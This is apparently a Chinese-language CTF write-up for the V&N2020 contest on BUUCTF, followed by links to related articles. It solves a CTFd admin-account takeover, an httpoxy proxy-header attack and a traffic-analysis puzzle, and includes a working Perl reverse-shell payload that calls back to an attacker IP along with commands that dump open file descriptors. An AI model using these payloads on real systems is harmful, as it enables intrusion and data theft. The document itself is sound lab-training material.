0x00 前言

写了一天题目,学到了好多东西, 简单记录一下

0x01 Web

HappyCTFd

直接使用网上公开的cve打:

解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮箱填上buu内网的邮箱以admin账户登陆。然后修改密码,给我们注册的邮箱发送邮件,去内网邮箱处登陆,点击链接修改密码。这样平台真正的admin账户就被修改了。

我们以用户名admin,密码为我们刚刚修改的登陆。找到flag.

CHECKIN

perl 脚本反弹shell:

链接:

https://xz.aliyun.com/t/5768

https://www.anquanke.com/post/id/87017

解题:

首先开1台buu内部的服务器。

然后看一下ip:

写对应脚本:

import requests

url = "http://4fa601db-8d81-4ebf-8d4b-281ef2b28783.node3.buuoj.cn/shell"

data = {
'c':"perl -e 'use Socket;$i=\"xxx.xx.xxx.118\";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' &"
} response = requests.get(url,params=data) print(response.text)

这里ip和监听端口要和我们服务器相对应先别运行,先设置监听端口:根据脚本我们监听的是8888端口

然后运行脚本之后

回到服务器页面发现反弹shell成功

接下来弹flag:

链接

https://www.hi-linux.com/posts/64295.html

众所周知,/proc/[pid]/fd 是一个目录,包含进程打开文件的情况。在相应进程的/proc/$pid/fd 目录下存放了此进程所有打开的fd。当然有些可能不是本进程自己打开的,如通过fork()从父进程继承而来的。

payload:

cat /proc/*/fd/*

TimeTravel

链接:

https://www.anquanke.com/post/id/84227

同样需要监听端口,我们先开一台内网服务器。

使用下面的exp:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16 {"success":true}

把他放在我们服务器上,然后运行监听端口:

打开题目,bp发包如下:

payload:

GET /?flag=123 HTTP/1.1
Host: node3.buuoj.cn:25028
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Proxy:http://174.0.213.118:8888

得到flag

还有一种解法是写一个tcp服务在我们的服务器上,然后修改头部信息Proxy:http://174.0.213.118:8888然后在这个服务器上反弹shell

#coding:utf-8
import time, socket, threading
def tcplink(sock, addr):
while True:
data = sock.recv(1024)
time.sleep(1)
if data == 'exit' or not data:
break
sock.send({'success':true} % data)
sock.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8080))
s.listen(5)
print 'Waiting for connection...'
while True:
sock, addr = s.accept()
t = threading.Thread(target=tcplink, args=(sock, addr))
t.start()

0x02 misc

拉胯的三条命令

简单的流量分析题目

链接:

https://fly8wo.github.io/2018/09/27/通过Wireshark分析SYN扫描技术/

思路:nmap的syn扫描就是5个数据包

找5个数据包交互的

ML 第一步

直接运行脚本

import numpy as np
from pwn import remote
import matplotlib.pyplot as plt
import re p = remote("node3.buuoj.cn", 27794) p.recvline()
p.sendline('yoshino-s') for i in range(4):
print(p.recvline()) p.sendline()
s = []
for i in range(70):
s.append(p.recvline()) def process(s):
xa = []
ya = []
for i in s:
v = i.split(',')
x = float(v[0][2:])
y = float(v[1][2:-2])
xa.append(x)
ya.append(y) return (np.array(xa), np.array(ya)) (x, y) = process(s)
z1 = np.polyfit(x, y, 10)
p1 = np.poly1d(z1)
print(p1) p.recvline()
p.sendline()
for i in range(10):
q = p.recvline()
xi = float(re.compile(b'When x=([0-9\.]+),y=?').findall(q)[0])
p.sendline(str(p1(xi)))
print(xi, p1(xi))
p.interactive()

[V&N2020 公开赛] Web misc部分题解的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  3. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  4. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  5. [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...

  6. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  7. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  8. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  9. [V&N2020 公开赛]TimeTravel 复现

    大佬友链(狗头):https://www.cnblogs.com/p201821440039/ 参考博客: https://www.zhaoj.in/read-6407.html https://cj ...

随机推荐

  1. 关于js中iframe 中 location.href的用法

    关于js中"window.location.href"."location.href"."parent.location.href".&qu ...

  2. Building Applications with Force.com and VisualForce (DEV401) (二一):Visualforce Componets (Tags) Library Part 1

    Dev401-022:Visualforce Pages: Visualforce Componets (Tags) Library Part 1 Module Objectives1.List ke ...

  3. 50行代码实现GAN | 干货演练

    2014年,Ian Goodfellow和他的同事发表了一篇论文,向世界介绍了生成对抗网络(GAN).通过对计算图和博弈论的创新性组合,他们表明如果有足够的建模能力,两个相互对抗的模型可以通过普通的反 ...

  4. Jmeter接口测试之参数传递(十三)

    在接口自动化测试中,经常会遇到的一种场景就是参数的场景,比如在用户列表中获取所有的用户列表,然后获取到某一个用户的ID,查看该用户的详细信息.首先在这里理清思路,它的流程是,首先获取到数据,然后在Jm ...

  5. 莎士比亚电路ヾ(≧▽≦*)o

    偶尔记录一件有趣的事儿! 这个电路叫做 "莎士比亚电路"[1],请自行参悟,ヾ(≧▽≦)o,ヾ(≧▽≦)o,ヾ(≧▽≦*)o ヾ(≧▽≦*)o . <穿越计算机的迷雾> ...

  6. ajax实现图片上传与进度条

    这里使用的是bootstract的一个插件来实现 详情请查看文档中的进度条 https://v3.bootcss.com/components/ 引入必要的文件 <link href=" ...

  7. 使用Azure Rest API获得Access Token介绍

    背景 本文主要介绍如何获取如何获取Azure Rest API的访问token,所采用的是v2.0版本的Microsoft标识平台,关于1.0和2.0的区别可以参考 https://docs.azur ...

  8. cephfs分布式系统

                                                               cephfs分布式系统 CephFS:分布式文件系统 l 什么是CephFS: 分 ...

  9. 【memcache】Memcached

    一.Memcached 简介 1. 官网:http://www.memcached.org 2. Memcached是一个自由开源的,高性能,分布式内存对象缓存系统. 二.作用: 1. 将数据存入内存 ...

  10. 课程登记窗口java

    设计窗口,实现课程的登记,并且将相应的数据写入文件之中.保证的是课程名称不可以重复,对于任课老师必须是在已经设定好的五位老师之中.并且上课地点也是在预先设定的范围内.窗口可以持续进行保存,数据将在判断 ...